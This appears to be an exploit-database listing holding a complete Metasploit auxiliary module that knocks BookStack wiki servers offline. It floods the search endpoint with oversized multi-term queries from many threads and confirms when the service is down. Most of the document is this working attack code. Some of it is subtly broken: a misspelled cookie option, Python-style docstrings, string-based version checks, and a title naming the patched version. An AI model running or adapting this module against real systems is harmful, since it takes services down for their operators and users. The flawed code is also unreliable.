Share
## https://sploitus.com/exploit?id=PACKETSTORM:223564
==================================================================================================================================
    | # Title     : BookStack 25.12.1 Search-Based Resource Exhaustion DoS Module Vulnerability                                      |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.bookstackapp.com                                                                                     |
    ==================================================================================================================================
    
    [+] Summary    :  This Metasploit auxiliary module targets a denial-of-service vulnerability in BookStack (before v25.12.1) by abusing the search system.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::DoS
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'BookStack Search Term Resource Exhaustion Denial of Service',
            'Description' => %q{
              A Denial of Service (DoS) vulnerability exists in BookStack versions
              prior to 25.12.1. The vulnerability is triggered by sending a search
              query containing a large number of terms (100+ generic terms, 50+
              exact terms, and 30+ tag terms) to the search endpoint.
    
              The search query generates an SQL query with multiple OR LIKE conditions,
              full table scans, and subqueries that exhaust database resources. This
              results in the application becoming unresponsive for legitimate users.
    
              The issue was fixed in BookStack v25.12.1 by optimizing the search query
              and limiting the number of search terms processed.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['URL', 'https://www.bookstackapp.com/blog/bookstack-release-v25-12-1/'],
              ['URL', 'https://github.com/BookStackApp/BookStack/security/advisories']
            ],
            'DisclosureDate' => '2026-04-29',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SERVICE_DOWN],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base BookStack path', '/']),
          OptString.new('COOKIE', [false, 'Cookie to include in requests (if authentication required)']),
          OptInt.new('THREADS', [false, 'Number of concurrent threads for attack', 150]),
          OptInt.new('DURATION', [false, 'Attack duration in seconds', 30]),
          OptInt.new('SEARCH_TERMS_GENERIC', [false, 'Number of generic search terms', 100]),
          OptInt.new('SEARCH_TERMS_EXACT', [false, 'Number of exact search terms', 50]),
          OptInt.new('SEARCH_TERMS_TAGS', [false, 'Number of tag terms', 30]),
          OptEnum.new('ATTACK_MODE', [true, 'Attack mode', 'RESOURCE_EXHAUSTION', ['RESOURCE_EXHAUSTION', 'SLOW_QUERY', 'MASSIVE_BURST']])
        ])
      end
      def generate_search_payload(generic_terms = 100, exact_terms = 50, tag_terms = 30)
        """
        Generate a search payload with many terms to exhaust database resources.
        The payload structure:
        - Generic terms: t0 t1 t2 ... t99 (100 terms)
        - Exact terms: "e0" "e1" ... "e49" (50 terms)
        - Tag terms: [t0=v0] [t1=v1] ... [t29=v29] (30 terms)
        Total: ~180 search terms that generate a massive SQL query with many OR conditions.
        """
        generic = (0...generic_terms).map { |i| "t#{i}" }.join(' ')
        exact = (0...exact_terms).map { |i| "\"e#{i}\"" }.join(' ')
        tags = (0...tag_terms).map { |i| "[t#{i}=v#{i}]" }.join(' ')
        [generic, exact, tags].reject(&:empty?).join(' ')
      end
      def build_attack_url
        payload = generate_search_payload(
          datastore['SEARCH_TERMS_GENERIC'],
          datastore['SEARCH_TERMS_EXACT'],
          datastore['SEARCH_TERMS_TAGS']
        )
        encoded_payload = Rex::Text.uri_encode(payload)
        search_path = normalize_uri(target_uri.path, 'search')
        "#{search_path}?term=#{encoded_payload}"
      end
      def check_service_availability
        """
        Check if the BookStack service is available and responding.
        """
        begin
          res = send_request_cgi(
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path),
            'timeout' => 5
          )
          if res && res.code == 200
            return true
          elsif res
            return false
          end
        rescue ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout, ::Errno::ECONNRESET
          return false
        end
        false
      end
      def send_search_request(uri, cookie)
        """
        Send a single search request with the crafted payload.
        """
        headers = {}
        headers['Cookie'] = cookie if cookie
        begin
          res = send_request_cgi(
            'method' => 'GET',
            'uri' => uri,
            'headers' => headers,
            'timeout' => 30
          )
          return res
        rescue ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout, ::Errno::ECONNRESET
          return nil
        end
      end
      def resource_exhaustion_attack(uri, cookie, threads_count, duration)
        """
        Resource exhaustion attack using multiple threads sending search requests.
        """
        print_status("Starting resource exhaustion attack with #{threads_count} threads for #{duration} seconds")
        stop_attack = false
        request_count = 0
        failed_count = 0
        mutex = Mutex.new
        workers = (0...threads_count).map do |i|
          Rex::ThreadFactory.spawn("AttackWorker-#{i}", false) do
            until stop_attack
              begin
                send_search_request(uri, cookie)
                mutex.synchronize { request_count += 1 }
              rescue => e
                mutex.synchronize { failed_count += 1 }
                vprint_error("Worker #{i} error: #{e.message}")
              end
              Rex.sleep(0.01)
            end
          end
        end
        start_time = Time.now
        elapsed = 0
        while elapsed < duration
          Rex.sleep(2)
          elapsed = Time.now - start_time
          print_status("Attack progress: #{elapsed.round(1)}s elapsed, requests: #{request_count}, failed: #{failed_count}")
          unless check_service_availability
            print_good("Service appears to be DOWN / UNRESPONSIVE!")
            stop_attack = true
            break
          end
        end
        stop_attack = true
        workers.each(&:join)
        print_status("Attack completed: #{request_count} requests sent, #{failed_count} failures")
      end
      def slow_query_attack(uri, cookie, duration)
        """
        Slow query attack using a single massive search payload that takes a long time to execute.
        """
        print_status("Starting slow query attack for #{duration} seconds")
        start_time = Time.now
        request_count = 0
        while Time.now - start_time < duration
          print_status("Sending slow search query # #{request_count + 1}")
          send_search_request(uri, cookie)
          request_count += 1
          Rex.sleep(2)
          unless check_service_availability
            print_good("Service appears to be DOWN / UNRESPONSIVE!")
            break
          end
        end
        print_status("Slow query attack completed: #{request_count} requests sent")
      end
      def massive_burst_attack(uri, cookie, burst_size)
        """
        Massive burst attack - send many requests simultaneously in a short burst.
        """
        print_status("Starting massive burst attack with #{burst_size} simultaneous requests")
        threads = []
        request_count = 0
        failed_count = 0
        mutex = Mutex.new
        burst_size.times do |i|
          threads << Rex::ThreadFactory.spawn("BurstWorker-#{i}", false) do
            begin
              send_search_request(uri, cookie)
              mutex.synchronize { request_count += 1 }
            rescue => e
              mutex.synchronize { failed_count += 1 }
              vprint_error("Burst worker #{i} error: #{e.message}")
            end
          end
        end
        threads.each(&:join)
        print_status("Massive burst completed: #{request_count} succeeded, #{failed_count} failed")
        Rex.sleep(2)
        if check_service_availability
          print_status("Service still responding after burst attack")
        else
          print_good("Service is DOWN after massive burst!")
        end
      end
      def detect_bookstack_version
        """
        Attempt to detect BookStack version from response headers or page content.
        """
        print_status("Detecting BookStack version...")
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path)
        )
        if res && res.body
          version_match = res.body.match(/BookStack<\/a>\s*v?([0-9.]+)/i) ||
                          res.body.match(/version["']:\s*["']([0-9.]+)["']/i) ||
                          res.body.match(/BookStack\s+v?([0-9.]+)/i)
          if version_match
            version = version_match[1]
            print_good("Detected BookStack version: #{version}")
            if version < '25.12.1'
              print_status("Version #{version} appears vulnerable")
              return version
            else
              print_warning("Version #{version} appears patched")
              return version
            end
          end
        end
        print_status("Could not detect version. Assuming target may be vulnerable.")
        nil
      end
      def run_host(ip)
        print_status("Starting BookStack Denial of Service attack against #{peer}")
        unless check_service_availability
          print_error("Target does not appear to be a BookStack instance or is not responding")
          return
        end
        print_good("Target is responding, attack will proceed")
        version = detect_bookstack_version
        attack_uri = build_attack_url
        payload_size = attack_uri.length
        print_status("Attack URL length: #{payload_size} bytes")
        print_status("Search payload: #{generate_search_payload(5, 3, 2)[0..100]}...")
        cookie = datastore['COOKICE'] if datastore['COOKIE']
        attack_mode = datastore['ATTACK_MODE']
        case attack_mode
        when 'RESOURCE_EXHAUSTION'
          threads = datastore['THREADS']
          duration = datastore['DURATION']
          resource_exhaustion_attack(attack_uri, cookie, threads, duration)
        when 'SLOW_QUERY'
          duration = datastore['DURATION']
          slow_query_attack(attack_uri, cookie, duration)
        when 'MASSIVE_BURST'
          burst_size = datastore['THREADS']
          massive_burst_attack(attack_uri, cookie, burst_size)
        end
        print_status("Performing final service check...")
        Rex.sleep(5)
        if check_service_availability
          print_error("Service appears to be still running. Attack may have failed or target is patched.")
          if version && version >= '25.12.1'
            print_warning("Target version #{version} is patched. This attack will not work.")
          end
        else
          print_good("SERVICE IS DOWN! Denial of Service successful.")
          report_note(
            host: ip,
            port: datastore['RPORT'],
            type: 'dos.successful',
            data: {
              'attack_mode' => attack_mode,
              'vulnerable_version' => version,
              'message' => 'BookStack service was successfully taken offline'
            }
          )
        end
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================